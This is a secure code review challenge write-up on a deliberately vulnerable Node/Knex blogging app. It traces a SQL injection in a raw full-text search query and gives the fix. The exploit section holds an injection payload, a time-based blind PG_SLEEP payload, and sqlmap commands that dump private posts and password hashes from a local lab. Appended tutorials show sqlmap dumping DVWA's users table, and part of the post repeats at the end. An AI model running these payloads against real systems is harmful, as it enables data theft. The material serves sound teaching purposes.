The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes)
Blogger gets almost everything right: every edit and delete checks who owns the post, the database layer uses the Knex query builder (so values are sent as bound parameters), Nunjucks escapes everything it renders, passwords are hashed with bcrypt, and the session cookie is SameSite=Lax.
It still lets anyone on the internet, without an account, read every private post and dump the users table. The way in is the search box.
This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit (with sqlmap doing the heavy lifting), and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.
🎥 Prefer video? The full walkthrough is on YouTube:
{% embed youtu.be %}
---
What is the Secure Code Review Challenge?
It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution.
Every solution follows the same 7-step methodology:
1. 🗺️ Understand the application: architecture and main user stories
2. 🚪 Identify entry points: where user input comes in
3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …)
4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection)
5. 🔍 Review mitigations: which threats are actually closed, and which aren't
6. 🧪 Exploit: prove the unmitigated one is real
7. 🛠️ Fix: a primary fix plus defense-in-depth
📌 Repo: mohamed-osama-aboelkheir/the-secure-code-review-challenge
📌 Challenge #7 source: github.com/mohamed-osama-aboelkheir/the-secure-co…
> ⚠️ Spoiler warning: if you want to try Blogger yourself first, stop here and come back later.
---
1. 🗺️ Understanding the application
Blogger is a small multi-user blogging platform. You sign up, write posts, mark some of them private, and search everything you're allowed to see.
- Backend: Express.js 5 (Node)
- Frontend: server-rendered HTML pages using the Nunjucks templating engine, served by the same Express app
- Database: PostgreSQL, accessed through the Knex query builder
- Auth: JWTs, sent either as a bearer header (JSON API) or in an httpOnly cookie (web UI)
The README makes one security promise, and it explicitly includes search:
> "A private post is visible, editable, and deletable only by its author — everyone else should be denied."
> "A full-text search feature ranks posts by relevance. Results must respect privacy: you should see public posts plus your own private ones, and nobody else's private posts."
The whole review comes down to whether that promise holds.
A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user registers, reads, writes and searches posts.
🚀 Story 1: what happens when the app starts
docker-compose.yml starts two containers: a stock postgres:16 and the app. Note the database user, because it matters later. The official postgres image creates POSTGRES_USER as a superuser, and the app connects as that same user:
postgres:
image: postgres:16
environment:
POSTGRES_DB: blogger_db
POSTGRES_USER: blogger_user
POSTGRES_PASSWORD: blogger_password
...
app:
build: .
environment:
DATABASE_URL: postgres://blogger_user:blogger_password@postgres:5432/blogger_db
docker-compose.yml#L1-L35
The Dockerfile installs the dependencies and runs node app.js. In app.js, the app configures Nunjucks with autoescaping on (an XSS defense we'll come back to), registers the body and cookie parsers, and mounts three routers:
const env = nunjucks.configure(viewsPath, {
autoescape: true,
express: app,
noCache: process.env.NODE_ENV !== 'production'
});
...
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());
app.use('/', optionalAuth, pagesRoutes);
app.use('/api/auth', authRoutes);
app.use('/api/posts', optionalAuth, postsRoutes);
app.js#L22-L37
The pages and the posts API both sit behind optionalAuth. That makes sense, because anonymous visitors can still read public posts. The middleware reads a JWT from the Authorization header or the token cookie, verifies it, loads the user from the database and sets req.user. If there's no valid token, it just moves on and leaves req.user empty:
const optionalAuth = async (req, res, next) => {
...
let token = null;
const authHeader = req.headers.authorization;
if (authHeader && authHeader.startsWith('Bearer ')) {
token = authHeader.slice(7);
} else if (req.cookies && req.cookies.token) {
token = req.cookies.token;
}
if (!token) return next();
try {
const decoded = jwt.verify(token, secret);
const user = await db.findUserById(decoded.userId);
if (user) {
req.user = { id: user.id, username: user.username, email: user.email };
}
} catch (_) {}
next();
};
src/middleware/auth.js#L52-L76
So authentication is decided per handler, not by the middleware: every route that needs a logged-in user has to check req.user itself.
All database access goes through one class, DatabaseStore in src/store/database.js, built on Knex. Both the JSON API and the HTML pages call the same store. The README calls them "the same data seen two ways".
🔄 Story 2: register → read → write → search
Register and log in. Registration hashes the password with bcrypt (cost 10), creates the user and issues a JWT:
const saltRounds = 10;
const passwordHash = await bcrypt.hash(password, saltRounds);
const user = await db.createUser(username, email, passwordHash);
...
const token = issueToken(user);
if (isWebForm(req)) {
res.cookie('token', token, cookieOptions);
return res.redirect('/my-posts');
}
src/routes/auth.js#L58-L72
When the request comes from the web form, the token goes into a cookie with these options:
const cookieOptions = {
httpOnly: true,
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/',
sameSite: 'lax'
};
src/routes/auth.js#L21-L26
Read the feed. The feed query is built with the Knex builder, and the privacy rule ("public, or mine") is part of the WHERE clause:
async getFeedPosts(userId, limit = 50) {
const q = knex('posts as p')
.join('users as u', 'p.user_id', 'u.id')
.orderBy('p.created_at', 'desc')
.limit(limit)
.select('p.*', 'u.username as author_username');
if (userId) {
q.where((builder) => {
builder.where('p.is_private', false).orWhere('p.user_id', userId);
});
} else {
q.where('p.is_private', false);
}
...
}
src/store/database.js#L66-L81
Read a single post. This one fetches the post by ID first, then checks privacy on the result:
const post = await db.getPostById(req.params.id);
if (!post) return res.status(404).json({ error: 'Post not found' });
if (post.isPrivate && (!req.user || req.user.id !== post.userId)) {
return res.status(403).json({ error: 'Access denied' });
}
src/routes/posts.js#L49-L53
Write, edit, delete. Every mutating handler follows the same pattern: require a login, load the post, compare owners:
router.patch('/:id', async (req, res) => {
...
if (!req.user) return res.status(401).json({ error: 'Authentication required' });
...
const existing = await db.getPostById(req.params.id);
if (!existing) return res.status(404).json({ error: 'Post not found' });
if (existing.userId !== req.user.id) {
return res.status(403).json({ error: 'Access denied' });
}
src/routes/posts.js#L78-L86
…and the store scopes the write by owner a second time:
const updated = await knex('posts')
.where({ id: postId, user_id: userId })
.update({ ...data, updated_at: knex.fn.now() })
src/store/database.js#L101-L110
Search. The search route takes q from the query string and passes it to the store, along with the user ID if someone is logged in. No login is required:
router.get('/search', async (req, res) => {
...
const q = req.query.q;
const userId = req.user ? req.user.id : null;
const posts = await db.searchPosts(q, userId);
res.json({ posts });
src/routes/posts.js#L33-L39
The web UI has the same thing at GET /search (pages.js#L48-L59).
searchPosts uses PostgreSQL full-text search (to_tsvector, plainto_tsquery, ts_rank) to rank results by relevance. These functions aren't first-class in the Knex builder, so this is the only query in the store that's written by hand and passed to knex.raw. We'll look at it closely in step 4/5.
🧠 The key observation from step 1
Every query in the app goes through the Knex builder except one:
getFeedPosts → knex('posts').where(...) builder ✔
getPostById → knex('posts').where(...) builder ✔
updatePost → knex('posts').where(...) builder ✔
deletePost → knex('posts').where(...) builder ✔
searchPosts → knex.raw(`...`) hand-written SQL ⚠️
Knex keeps you safe from SQL injection only as long as values go through it as bindings. The one place the developer stepped outside the builder is the place to slow down.
---
2. 🚪 Entry points
Auth API
- POST /api/auth/register: public, takes username, email, password, web
- POST /api/auth/login: public, takes username, password, web
Posts API
- GET /api/posts/feed: optional auth, no other input
- GET /api/posts/mine: login required, no other input
- GET /api/posts/search?q=: optional auth, takes q
- GET /api/posts/:id: optional auth (private posts → owner only), takes id
- POST /api/posts: login required, takes title, body, is_private
- PATCH /api/posts/:id: owner only, takes id, title, body, is_private
- DELETE /api/posts/:id: owner only, takes id
Web UI
- GET /, GET /my-posts, GET /login, GET /register, GET /logout: an error query parameter on login/register
- GET /search?q=: optional auth, takes q
- GET /posts/new, GET /posts/:id, GET /posts/:id/edit, GET /posts/:id/delete: take id
- POST /posts, POST /posts/:id, POST /posts/:id/delete: form fields title, body, is_private
On every request: the Authorization header and the token cookie.
3. 🎯 Dangerous sinks
- S1: SQL queries built with the Knex query builder → SQL injection. Fed from usernames, emails, post fields, :id and the JWT's userId.
- S2: raw SQL passed to knex.raw (full-text search) → SQL injection. Fed from q.
- S3: HTML rendering with Nunjucks → XSS. Fed from post titles and bodies, usernames, the search term and the error query parameter.
- S4: redirects (/posts/${post.id}, /register?error=…) → open redirect.
---
4 & 5. 🧩 Threat model & 🔍 mitigation review
🔓 Business logic
Missing authentication on mutating routes ✅. Since optionalAuth never blocks, each handler has to check for itself. Every POST, PATCH and DELETE on /api/posts starts with if (!req.user) return 401 (posts.js#L63, #L80, #L103), and every mutating page handler redirects to /login.
IDOR on edit and delete ✅. Every handler compares existing.userId !== req.user.id before acting, and the store scopes the write with .where({ id: postId, user_id: userId }) too. That's two layers of defense.
Private posts leaking through reads ✅ (on paper). There are three ways to read posts, and each one enforces "public, or mine":
- Single post: fetched by ID, then checked on the result (post.isPrivate && req.user.id !== post.userId → 403).
- Feed: the privacy rule is in the Knex builder's WHERE.
- Search: the hand-written SQL has the same rule, WHERE (p.is_private = false OR p.user_id = ?). Keep this one in mind: the rule is only as strong as the SQL string it lives in.
Mass assignment ✅. Can I create or edit a post so it looks like someone else wrote it? Only if user_id can come from the request. It can't: create and update copy only title, body and is_private from the body, and the owner always comes from req.user.id:
const { title, body, is_private: isPrivate } = req.body;
const updates = {};
if (title !== undefined) updates.title = title;
if (body !== undefined) updates.body = body;
if (isPrivate !== undefined) updates.is_private = isPrivate;
src/routes/posts.js#L87-L91
CSRF ✅. The web UI uses cookie auth and plain HTML form POSTs with no CSRF token. The control here is the cookie's sameSite: 'lax': per MDN, the browser doesn't send a Lax cookie on cross-site POSTs, so a form forged on another site arrives unauthenticated. That's good enough in modern browsers, with the caveat that SameSite works per site, so a sibling subdomain isn't stopped (OWASP treats it as defense in depth).
JWT and password weaknesses ✅. Tokens are signed and verified with the secret. With jsonwebtoken 9.x, unsigned alg: none tokens are refused by default, and the HMAC secret can't be swapped for a public key (v9 migration notes). The user is reloaded from the database on every request, and passwords are hashed with bcrypt.
💉 Source-to-sink
S3, XSS ✅. Every value reaches the templates through {{ … }}, and autoescape: true makes Nunjucks HTML-escape & < > " '. That covers both element content (<p>{{ post.body }}</p>) and the quoted attribute in the search box (value="{{ query }}"). No template uses the | safe filter to turn escaping off.
S4, open redirect ✅. An open redirect needs the destination to come from user input. Every redirect here goes to a hard-coded relative path (/login, /my-posts, /posts/<id>). The only user-controlled part is a post ID, which has to exist and pass the owner check first, and since posts.id is an integer column, //evil.com fails in Postgres before the redirect is ever reached.
S1, SQL injection through the Knex builder ✅. .where('p.id', postId), .insert({...}), .update({...}): the builder sends every value as a bound parameter, never as SQL text.
S2, SQL injection in the raw full-text search query ❌. Here's the query:
async searchPosts(query, userId) {
if (!query || typeof query !== 'string') {
return this.getPublicPosts(20);
}
const uid = userId || null;
const sql = `
SELECT p.*, u.username AS author_username
FROM posts p
JOIN users u ON p.user_id = u.id
WHERE (p.is_private = false OR p.user_id = ?)
AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}')
ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC
LIMIT 50
`;
const result = await knex.raw(sql, [uid]);
...
}
src/store/database.js#L117-L134
Look at the two values in it:
- The user ID is a ? placeholder, passed to knex.raw in the bindings array. That's safe.
- The search term is pasted in with a JavaScript template literal, '${query}', twice. JavaScript substitutes it before Knex ever sees the string, so to knex.raw it's indistinguishable from SQL the developer wrote. Knex's raw docs are clear that only ? bindings are escaped.
The only check on q is typeof query !== 'string', which stops arrays and objects but not quotes. And the privacy rule (p.is_private = false OR p.user_id = ?) is in the same SQL string, so anyone who can inject SQL there can override it.
> 💡 Reviewer's lesson: a safe library protects only the queries that go through it. Hunt for the escape hatches (raw, whereRaw, orderByRaw), and in each one check that every value is a binding, not just the one that looks like it was done right. Unusual features, like full-text or vector search, are exactly where developers step off the safe path.
---
6. 🧪 Exploitation
Why the classic payload fails
The textbook test is x') OR 1=1 --. Here it returns a 500:
$ curl -s -G http://localhost:3000/api/posts/search --data-urlencode "q=x') OR 1=1 --"
{"error":"Internal server error"}
The app log shows why. The term lands in two places. The payload closes the first one cleanly, but the -- comment in the second one swallows the closing brackets of the ORDER BY:
ORDER BY ts_rank(to_tsvector(...), plainto_tsquery('english', 'x') OR 1=1 --')) DESC
LIMIT 50
- syntax error at or near "LIMIT"
A 500 doesn't mean "not exploitable". It means the payload has to be valid SQL in both places. You don't need to be an expert at building SQL injection payloads to get there, because you can automate it.
The setup
A victim, Alice, has a public post and a private one. Bob has a weak password:
B=http://localhost:3000/api
curl -s -X POST $B/auth/register -H Content-Type:application/json \
-d '{"username":"alice","email":"alice@example.com","password":"alicepass123"}'
A=$(curl -s -X POST $B/auth/login -H Content-Type:application/json \
-d '{"username":"alice","password":"alicepass123"}' | jq -r .token)
curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \
-d '{"title":"Hello world","body":"My first public post on Blogger."}'
curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \
-d '{"title":"Acquisition plans","body":"Secret: we are buying Initech next quarter.","is_private":true}'
curl -s -X POST $B/auth/register -H Content-Type:application/json \
-d '{"username":"bob","email":"bob@example.com","password":"password"}'
Control: the private post is protected everywhere else:
$ curl -s $B/posts/2
{"error":"Access denied"}
$ curl -s -G $B/posts/search --data-urlencode "q=acquisition"
{"posts":[]}
Every command below runs without any token or cookie. The attacker doesn't need an account.
Step 1: let sqlmap find a payload that works
sqlmap tries hundreds of payloads until one works:
$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
--dbms=PostgreSQL --batch --time-sec 1 --is-dba
...
[10:20:49] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be SQL injectable
...
[10:20:55] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
...
Parameter: q (GET)
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: q=1'||(SELECT (CHR(89)||CHR(114)||CHR(84)||CHR(66)) WHERE 3661=3661 AND 7927=(SELECT 7927 FROM PG_SLEEP(1)))||'
---
back-end DBMS: PostgreSQL
current user is DBA: True
[10:21:08] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 584 times
What the options do:
- -u "…/search?q=1": the target URL, with a normal value for the parameter
- -p q: test only the q parameter
- --level=5 --risk=3: try sqlmap's full set of payloads, including the heavier ones
- --dbms=PostgreSQL: skip payloads for other databases (we know it's Postgres from docker-compose.yml)
- --batch: accept the default answer to every prompt
- --time-sec 1: how long the database sleeps for a "yes" (the default is 5)
- --is-dba: check whether the database user is a superuser
How to read the output:
- "might not be SQL injectable": sqlmap's quick first check looks for a database error in the page and finds none, because the app hides errors behind a generic 500. A manual tester could stop here. sqlmap keeps going.
- 584 × 500 errors: most payloads break the SQL, partly because the term lands twice.
- The payload that works doesn't break out of the string. It glues a sub-query onto it with Postgres's || (string concatenation), so the quotes stay balanced and it's valid SQL in both places. The sub-query makes the database sleep when a condition is true.
- Time-based blind: the search results never visibly change, so sqlmap asks yes/no questions ("is the first letter of the first username a?") and times each response. A 1-second delay means yes. It's slow, but it's fully automatic. (PortSwigger explains the technique.)
- current user is DBA: True: the app connects as the superuser the postgres image created, so the injection has full database privileges.
If you want to understand how payloads like these are built, PayloadsAllTheThings' PostgreSQL injection page is a good reference.
Step 2: read Alice's private post
$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
--dbms=PostgreSQL --batch --time-sec 1 \
--dump -D public -T posts -C title,body --where "is_private=true"
...
Database: public
Table: posts
+-------------------+---------------------------------------------+
| title | body |
+-------------------+---------------------------------------------+
| Acquisition plans | Secret: we are buying Initech next quarter. |
+-------------------+---------------------------------------------+
Step 3: dump the users table
$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
--dbms=PostgreSQL --batch --time-sec 1 \
--dump -D public -T users -C username,password_hash
...
+----------+--------------------------------------------------------------+
| username | password_hash |
+----------+--------------------------------------------------------------+
| alice | $2b$10$b8z56oJRF405TWLN.HiFQuG1LnkzyUOpCJ9rxbWzsj80y81l6rn0K |
| bob | $2b$10$/J2pPyfEzeISVD3fbQ77IutnM6iYAtQLb.ot6ugiSSehKaNMj4Tme |
+----------+--------------------------------------------------------------+
sqlmap also offers a dictionary attack on the hashes it dumps. Bob's weak password (password) falls straight away. Alice's isn't in the wordlist, so her hash holds: bcrypt buys time, but only for passwords that aren't common.
Impact: anyone on the internet, with no account, can read every private post, every username, email and password hash, and anything else in the database. Because the connection is a superuser, superuser-only functions like pg_read_file are available to the attacker too.
Classification: SQL Injection, CWE-89, leading to a bypass of the privacy rule (CWE-639-style impact) and exposure of the users table.
---
7. 🛠️ The fix
Primary fix: bind the search term instead of interpolating it. Replace both '${query}' with ? and pass the term in the bindings array, once for each placeholder:
const sql = `
SELECT p.*, u.username AS author_username
FROM posts p
JOIN users u ON p.user_id = u.id
WHERE (p.is_private = false OR p.user_id = ?)
- AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}')
- ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC
+ AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)
+ ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC
LIMIT 50
`;
- const result = await knex.raw(sql, [uid]);
+ const result = await knex.raw(sql, [uid, query, query]);
With the fix, sqlmap's sleep payload becomes plain search text and returns instantly:
"hello" -> [{"id":1,"title":"Hello world"}] (63 ms)
"1'||(SELECT 'x' FROM PG_SLEEP(3))||'" -> [] (1 ms)
"acquisition" -> [] (1 ms) (anonymous caller: the private post stays hidden)
plainto_tsquery is the right function for user text, because it parses free text and ignores operators. Once the value is bound, there's nothing left to inject.
Even better: keep the query in the builder and only drop to raw SQL for the full-text expression, with bindings. The privacy filter then looks exactly like the feed's:
knex('posts as p')
.join('users as u', 'p.user_id', 'u.id')
.where((b) => { b.where('p.is_private', false); if (uid) b.orWhere('p.user_id', uid); })
.whereRaw(`to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)`, [query])
.orderByRaw(`ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC`, [query])
.limit(50)
.select('p.*', 'u.username as author_username');
Defense-in-depth (do these too):
1. Use a least-privilege database role. Don't connect as the superuser. An app role with only SELECT/INSERT/UPDATE/DELETE on users and posts limits what any injection can do.
2. Enforce privacy in the database with PostgreSQL Row-Level Security on posts, so a single buggy query can't return someone else's private rows.
3. Ban template literals in raw SQL with a lint or SAST rule, e.g. a custom Semgrep rule matching ` knex.raw(...${$X}...) and whereRaw(...${$X}...) ` in CI. In the video, Semgrep's default rules didn't flag this one, so you'd need a custom rule.
4. Cap the length of q and reject control characters. It's cheap, and it shrinks what any future bug can do.
5. Keep database errors generic (already done here), and alert on SQL syntax errors in the logs. The failed OR 1=1 -- attempts are a loud signal.
---
🌍 Real-world examples
- Pre-Auth SQL Injection to RCE: Fortinet FortiWeb Fabric Connector (CVE-2025-25257) (watchTowr Labs). The researchers diffed two FortiWeb versions and found the fix had replaced a string-formatted query ("... where token='%s'") with a prepared statement. The input came from the Authorization: Bearer header on an endpoint that needs no login. Like Blogger's double insertion, the obvious payloads didn't work at first (no spaces, 128-character limit), so they adapted. Because the database ran with high privileges, they wrote a file to disk and got remote code execution.
- Bypassing airport security via SQL injection (Ian Carroll & Sam Curry). A single ' in the FlyCASS login form returned a MySQL error. They confirmed the injection with sqlmap, logged in as an airline admin and added a made-up crew member who was approved for the programs that let crew skip airport security screening. It's a different query, with the same root cause: user input pasted into a SQL string.
📚 More resources
- OWASP SQL Injection Prevention Cheat Sheet
- OWASP Query Parameterization Cheat Sheet
- Knex: raw queries & bindings
- PostgreSQL: Row Security Policies
- sqlmap and its usage wiki
- PortSwigger Web Security Academy: SQL injection and Blind SQL injection
---
🎯 Takeaway
A query builder doesn't make an app injection-proof. It only protects the queries that go through it. Blogger had dozens of safe queries and one hand-written search query, and that one was enough to read the whole database. Find the escape hatches (raw, whereRaw, orderByRaw) and check that every value in them is a binding.
And when an injection "only errors", don't call it safe. Here the obvious test returned a 500, yet sqlmap turned it into a full database read without a single hand-written payload.
---
🔔 What's next
Challenge #8: Employee Directory is live now. Can you find the bug before the solution drops?
👉 github.com/mohamed-osama-aboelkheir/the-secure-co…
New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs.
If you found the bug yourself, or took a different route to it, tell me in the comments 👇
Mentions
GitHub থেকে SQLmap Install করুন! 🔥 | Python Based Tools Linux Bangla Tutorial 🔥 GitHub থেকে SQLmap কীভাবে Linux-এ Install, Setup এবং যেকোনো Directory থেকে ব্যবহার করবেন? এই ভিডিওতে সহজ বাংলায় শিখুন! আপনি যদি Cyber Security শেখা শুরু করে থাকেন অথবা নতুন Linux OS ব্যবহার করে থাকেন, তাহলে এই ভিডিওটি আপনার জন্য। এখানে বহুল পরিচিত SQLmap Tool-কে উদাহরণ হিসেবে ব্যবহার করে দেখিয়েছি কীভাবে GitHub Repository থেকে Source Code Clone করে Python-এর মাধ্যমে Tool Run করতে হয়, Python Command Setup করতে হয় এবং Symbolic Link তৈরি করে যেকোনো Directory থেকে SQLmap ব্যবহার করতে হয়। 💻 এই ভিডিওতে যা যা শিখবেন: ✅ GitHub থেকে SQLmap Source Code Clone করা ✅ SQLmap Directory-তে প্রবেশ করা ✅ Python ও Python 3 Version Check করা ✅ Linux-এ Python 3 Install করা ✅ Python Command কাজ না করলে python-is-python3 Package Setup করা ✅ Python-এর মাধ্যমে sqlmap.py Run করা ✅ Linux-এ Symbolic Link তৈরি করা ✅ /usr/local/bin/ ব্যবহার করে Global Command Setup করা ✅ Terminal-এর যেকোনো Directory থেকে SQLmap ব্যবহার করা ✅ অন্যান্য Python-based Cyber Security Tools Setup করার প্রাথমিক ধারণা নেওয়া ⌨️ Commands Used in This Video: 1️⃣ Clone the Repository: git clone sqlmapproject/sqlmap 2️⃣ Enter the Directory: cd sqlmap 3️⃣ Check Python Version: python --version 4️⃣ Check Python 3 Version: python3 --version 5️⃣ Install Python 3 (যদি আগে থেকে Install করা না থাকে): sudo apt install python3 -y 6️⃣ Install Python Command Alias (যদি প্রয়োজন হয়): sudo apt install python-is-python3 -y 7️⃣ Run SQLmap: python3 "$PWD/sqlmap.py" 8️⃣ Create a Global Symbolic Link: sudo ln -s "$PWD/sqlmap.py" /usr/local/bin/sqlmap 📌 IMPORTANT: এই ভিডিওতে SQLmap-এর মাধ্যমে একটি নির্দিষ্ট Python-based Tool Installation ও Setup Method দেখানো হয়েছে। অনেক Python-based GitHub Tools-এর ক্ষেত্রে Source Code Clone করে Python দিয়ে Run করার পদ্ধতি কাজে লাগতে পারে, তবে সব Tools একই পদ্ধতিতে Install হয় না। কিছু Tools-এর জন্য অতিরিক্ত Dependencies, Virtual Environment অথবা আলাদা Installation Process প্রয়োজন হতে পারে। 🐹 আমার আগের ভিডিওতে Subfinder-এর মতো Go-based Tools কীভাবে GitHub থেকে Clone, Build এবং Global Setup করতে হয়, তা দেখিয়েছি। আর এই ভিডিওতে দেখিয়েছি Python-based Tool SQLmap-এর Setup Process। যেসব Tools-এর Installation Process আলাদা, সেগুলো নিয়ে পরবর্তী ভিডিওগুলোতে ধাপে ধাপে আলোচনা করব। 🎯 এই চ্যানেলে পাবেন: 🔹 Cyber Security Tutorials 🔹 Kali Linux & Linux Tips 🔹 Ethical Hacking Learning Resources 🔹 GitHub Security Tools 🔹 Python & Go-Based Tools Installation 🔹 Practical Command-Line Tutorials 👍 ভিডিওটি উপকারী মনে হলে Like দিন, Comment করে আপনার মতামত জানান এবং এমন আরও বাংলা Cyber Security Tutorial পেতে Channel-টি Subscribe করুন। ⚠️ Disclaimer: এই ভিডিওটি শুধুমাত্র শিক্ষামূলক এবং অনুমোদিত Cybersecurity Learning-এর উদ্দেশ্যে তৈরি। SQLmap-এর মতো Security Testing Tools কেবল নিজের সিস্টেমে অথবা যথাযথ অনুমতি থাকা সিস্টেমে ব্যবহার করুন। #CyberSecurity #SQLmap #Linux #GitHub #Python #LinuxBangla
SQL Injection with SQLmap on Kali: From Login Form to Database The Sqlmap tool is an open-source tool that automates SQL injection testing. It can handle what's done manually with a few commands. SQL injection: simply put, if a web application sends the input it takes from the user straight to the database without filtering it, you can write SQL code there. It could be a login form, a search box, a URL parameter, etc. The application runs that code and the data in the database comes out. Installing Docker and SQLmap You need to test against a vulnerable application you set up yourself, not a real system. For this we'll use DVWA (Damn Vulnerable Web Application). It runs with Docker. Installation: sudo apt update && sudo apt install -y docker.io sudo service docker start Sqlmap: sudo apt install -y sqlmap sqlmap already comes installed on Kali Linux, but it's still worth running this to bring it up to the latest version. Start DVWA docker run --rm -d -p 80:80 vulnerables/web-dvwa The container comes up with a single command. From your browser, open localhost Let's enter the login credentials as admin and password. !Logging in on the DVWA login screen with admin and password On the setup page, click the Create - Reset Database button. !Creating the database on the DVWA setup page Then log in again. Set the security level to Low from the DVWA Security menu. !Security level set to Low in the DVWA Security menu Then go to the SQL injection page from the left menu. !DVWA SQL Injection page sqlmap needs the session cookie so it can act as if it's logged in to the application. Let's grab the PHPSESSID value from F12 - Application - Cookies - localhost. !PHPSESSID cookie value in the browser developer tools List the Databases sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=XXX; security=low" \ --dbs --batch !Listing the databases with sqlmap --dbs --dbs lists the available databases. If the application is vulnerable, it returns dvwa and information_schema. Adding --batch makes sqlmap proceed through the test without asking any questions. To see the tables: sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=XXX; security=low" \ -D dvwa --tables --batch !Tables in the dvwa database with sqlmap --tables The dvwa database shows the guestbook and users tables. To dump the contents: sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=...; security=low" \ -D dvwa -T users --dump --batch !Usernames and hashes in the users table with sqlmap --dump The usernames and MD5 hashes get dumped. sqlmap automatically tries to crack the hashes with a dictionary attack. Results like admin/password come back. If someone uses a common password, it finds it right away. You should only use it on systems you're authorized to test or that you set up yourself. That's what DVWA is for anyway. Sources: https://github.com/sqlmapproject/sqlmap https://github.com/digininja/DVWA --- Originally written in Turkish on eminuzun.com. AI was used only for the translation.
The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes) Blogger gets almost everything right: every edit and delete checks who owns the post, the database layer uses the Knex query builder (so values are sent as bound parameters), Nunjucks escapes everything it renders, passwords are hashed with bcrypt, and the session cookie is SameSite=Lax. It still lets anyone on the internet, without an account, read every private post and dump the users table. The way in is the search box. This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit (with sqlmap doing the heavy lifting), and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context. 🎥 Prefer video? The full walkthrough is on YouTube: {% embed youtu.be %} --- What is the Secure Code Review Challenge? It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution. Every solution follows the same 7-step methodology: 1. 🗺️ Understand the application: architecture and main user stories 2. 🚪 Identify entry points: where user input comes in 3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …) 4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection) 5. 🔍 Review mitigations: which threats are actually closed, and which aren't 6. 🧪 Exploit: prove the unmitigated one is real 7. 🛠️ Fix: a primary fix plus defense-in-depth 📌 Repo: mohamed-osama-aboelkheir/the-secure-code-review-challenge 📌 Challenge #7 source: github.com/mohamed-osama-aboelkheir/the-secure-co… > ⚠️ Spoiler warning: if you want to try Blogger yourself first, stop here and come back later. --- 1. 🗺️ Understanding the application Blogger is a small multi-user blogging platform. You sign up, write posts, mark some of them private, and search everything you're allowed to see. - Backend: Express.js 5 (Node) - Frontend: server-rendered HTML pages using the Nunjucks templating engine, served by the same Express app - Database: PostgreSQL, accessed through the Knex query builder - Auth: JWTs, sent either as a bearer header (JSON API) or in an httpOnly cookie (web UI) The README makes one security promise, and it explicitly includes search: > "A private post is visible, editable, and deletable only by its author — everyone else should be denied." > "A full-text search feature ranks posts by relevance. Results must respect privacy: you should see public posts plus your own private ones, and nobody else's private posts." The whole review comes down to whether that promise holds. A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user registers, reads, writes and searches posts. 🚀 Story 1: what happens when the app starts docker-compose.yml starts two containers: a stock postgres:16 and the app. Note the database user, because it matters later. The official postgres image creates POSTGRES_USER as a superuser, and the app connects as that same user: postgres: image: postgres:16 environment: POSTGRES_DB: blogger_db POSTGRES_USER: blogger_user POSTGRES_PASSWORD: blogger_password ... app: build: . environment: DATABASE_URL: postgres://blogger_user:blogger_password@postgres:5432/blogger_db docker-compose.yml#L1-L35 The Dockerfile installs the dependencies and runs node app.js. In app.js, the app configures Nunjucks with autoescaping on (an XSS defense we'll come back to), registers the body and cookie parsers, and mounts three routers: const env = nunjucks.configure(viewsPath, { autoescape: true, express: app, noCache: process.env.NODE_ENV !== 'production' }); ... app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.use(cookieParser()); app.use('/', optionalAuth, pagesRoutes); app.use('/api/auth', authRoutes); app.use('/api/posts', optionalAuth, postsRoutes); app.js#L22-L37 The pages and the posts API both sit behind optionalAuth. That makes sense, because anonymous visitors can still read public posts. The middleware reads a 